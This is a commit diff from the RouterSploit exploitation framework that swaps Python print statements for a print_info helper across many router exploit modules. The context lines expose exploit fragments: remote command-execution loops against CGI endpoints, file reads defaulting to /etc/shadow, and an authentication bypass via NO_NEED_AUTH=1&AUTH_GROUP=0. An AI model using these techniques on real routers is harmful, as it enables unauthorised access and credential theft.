Commit d2b844c0 by Marcin Bury Committed by Mariusz Kupidura

Replacing print with print_info (#204)

parent 7871dead
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -47,7 +48,7 @@ class Exploit(exploits.Exploit): ...@@ -47,7 +48,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200 and len(response.text): if response.status_code == 200 and len(response.text):
print_success("Success! File: %s" % self.filename) print_success("Success! File: %s" % self.filename)
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
......
...@@ -5,6 +5,7 @@ from routersploit import ( ...@@ -5,6 +5,7 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
mark = random_text(32) mark = random_text(32)
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -38,10 +39,10 @@ class Exploit(exploits.Exploit): ...@@ -38,10 +39,10 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print "\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action." print_info("\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action.")
print "\nExamples:" print_info("\nExamples:")
print "{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port) print_info("{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port))
print "{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\n".format(self.target, self.port) print_info("{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\n".format(self.target, self.port))
else: else:
print_error("Target seems to be not vulnerable") print_error("Target seems to be not vulnerable")
......
...@@ -3,6 +3,7 @@ from routersploit import ( ...@@ -3,6 +3,7 @@ from routersploit import (
print_error, print_error,
print_success, print_success,
print_status, print_status,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -51,7 +52,7 @@ class Exploit(exploits.Exploit): ...@@ -51,7 +52,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/command.php".format(self.target, self.port) url = "{}:{}/command.php".format(self.target, self.port)
......
...@@ -6,6 +6,7 @@ from routersploit import ( ...@@ -6,6 +6,7 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
mark = random_text(32) mark = random_text(32)
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -44,7 +45,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +45,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200 and len(response.text): if response.status_code == 200 and len(response.text):
print_success("Success! File: %s" % self.filename) print_success("Success! File: %s" % self.filename)
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
......
...@@ -3,6 +3,7 @@ from routersploit import ( ...@@ -3,6 +3,7 @@ from routersploit import (
print_success, print_success,
print_error, print_error,
print_status, print_status,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -30,7 +31,7 @@ class Exploit(exploits.Exploit): ...@@ -30,7 +31,7 @@ class Exploit(exploits.Exploit):
] ]
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.address) # target address target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(8080, 'Target port') # default port port = exploits.Option(8080, 'Target port') # default port
filename = exploits.Option('/etc/shadow', 'File to read') # file to read filename = exploits.Option('/etc/shadow', 'File to read') # file to read
...@@ -58,7 +59,7 @@ class Exploit(exploits.Exploit): ...@@ -58,7 +59,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200: if response.status_code == 200:
print_success("Exploit success") print_success("Exploit success")
print_status("File: {}".format(self.filename)) print_status("File: {}".format(self.filename))
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
......
...@@ -3,6 +3,7 @@ from routersploit import ( ...@@ -3,6 +3,7 @@ from routersploit import (
print_error, print_error,
print_success, print_success,
print_status, print_status,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -53,7 +54,7 @@ class Exploit(exploits.Exploit): ...@@ -53,7 +54,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
@mute @mute
def execute(self, cmd): def execute(self, cmd):
......
...@@ -3,6 +3,7 @@ from routersploit import ( ...@@ -3,6 +3,7 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -53,7 +54,7 @@ class Exploit(exploits.Exploit): ...@@ -53,7 +54,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/apply.cgi".format(self.target, self.port) url = "{}:{}/apply.cgi".format(self.target, self.port)
......
...@@ -5,6 +5,7 @@ from routersploit import ( ...@@ -5,6 +5,7 @@ from routersploit import (
print_success, print_success,
print_error, print_error,
print_status, print_status,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +53,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/debug.cgi".format(self.target, self.port) url = "{}:{}/debug.cgi".format(self.target, self.port)
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -42,7 +43,7 @@ class Exploit(exploits.Exploit): ...@@ -42,7 +43,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200 and len(response.text): if response.status_code == 200 and len(response.text):
print_success("Success! File: %s" % self.filename) print_success("Success! File: %s" % self.filename)
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
......
...@@ -8,6 +8,7 @@ from routersploit import ( ...@@ -8,6 +8,7 @@ from routersploit import (
print_status, print_status,
print_error, print_error,
print_success, print_success,
print_info,
mute, mute,
) )
...@@ -69,7 +70,7 @@ class Exploit(exploits.Exploit): ...@@ -69,7 +70,7 @@ class Exploit(exploits.Exploit):
lin = [c for c in s[b: b + 16]] lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin) hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat) print_info(' %04x: %-48s %s' % (b, hxdat, pdat))
print print
def recvall(self, s, length, timeout=5): def recvall(self, s, length, timeout=5):
......
...@@ -6,6 +6,7 @@ from routersploit import ( ...@@ -6,6 +6,7 @@ from routersploit import (
print_status, print_status,
print_error, print_error,
print_success, print_success,
print_info,
random_text, random_text,
mute, mute,
) )
...@@ -76,7 +77,7 @@ class Exploit(exploits.Exploit): ...@@ -76,7 +77,7 @@ class Exploit(exploits.Exploit):
s.close() s.close()
return return
print self.execute(s, 7, cmd.strip("\n")) print_info(self.execute(s, 7, cmd.strip("\n")))
def execute(self, s, message, payload=""): def execute(self, s, message, payload=""):
header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload) + 1) header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload) + 1)
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -46,7 +47,7 @@ class Exploit(exploits.Exploit): ...@@ -46,7 +47,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200 and len(response.text): if response.status_code == 200 and len(response.text):
print_success("Success! File: %s" % self.filename) print_success("Success! File: %s" % self.filename)
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -44,7 +45,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +45,7 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
url = "{}:{}".format(self.target, self.port) url = "{}:{}".format(self.target, self.port)
print "Visit: {}/\n".format(url) print_info("Visit: {}/\n".format(url))
else: else:
print_error("Target seems to be not vulnerable") print_error("Target seems to be not vulnerable")
......
...@@ -5,6 +5,7 @@ from routersploit import ( ...@@ -5,6 +5,7 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
random_text, random_text,
http_request, http_request,
mute, mute,
...@@ -54,7 +55,7 @@ class Exploit(exploits.Exploit): ...@@ -54,7 +55,7 @@ class Exploit(exploits.Exploit):
if cmd in ['exit', 'quit']: if cmd in ['exit', 'quit']:
return return
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
mark = random_text(32) mark = random_text(32)
......
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_success, print_success,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
...@@ -49,7 +50,7 @@ class Exploit(exploits.Exploit): ...@@ -49,7 +50,7 @@ class Exploit(exploits.Exploit):
if response.status_code == 200 and len(response.text): if response.status_code == 200 and len(response.text):
print_success("Success! File: %s" % self.filename) print_success("Success! File: %s" % self.filename)
print response.text print_info(response.text)
else: else:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
......
...@@ -7,6 +7,7 @@ from routersploit import ( ...@@ -7,6 +7,7 @@ from routersploit import (
print_success, print_success,
print_error, print_error,
print_status, print_status,
print_info
) )
...@@ -62,7 +63,7 @@ class Exploit(exploits.Exploit): ...@@ -62,7 +63,7 @@ class Exploit(exploits.Exploit):
if len(vulns): if len(vulns):
print_success("Device is vulnerable!") print_success("Device is vulnerable!")
for v in vulns: for v in vulns:
print " - {}".format(v) print_info(" - {}".format(v))
else: else:
print_error("Device is not vulnerable to any exploits!") print_error("Device is not vulnerable to any exploits!")
print print
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment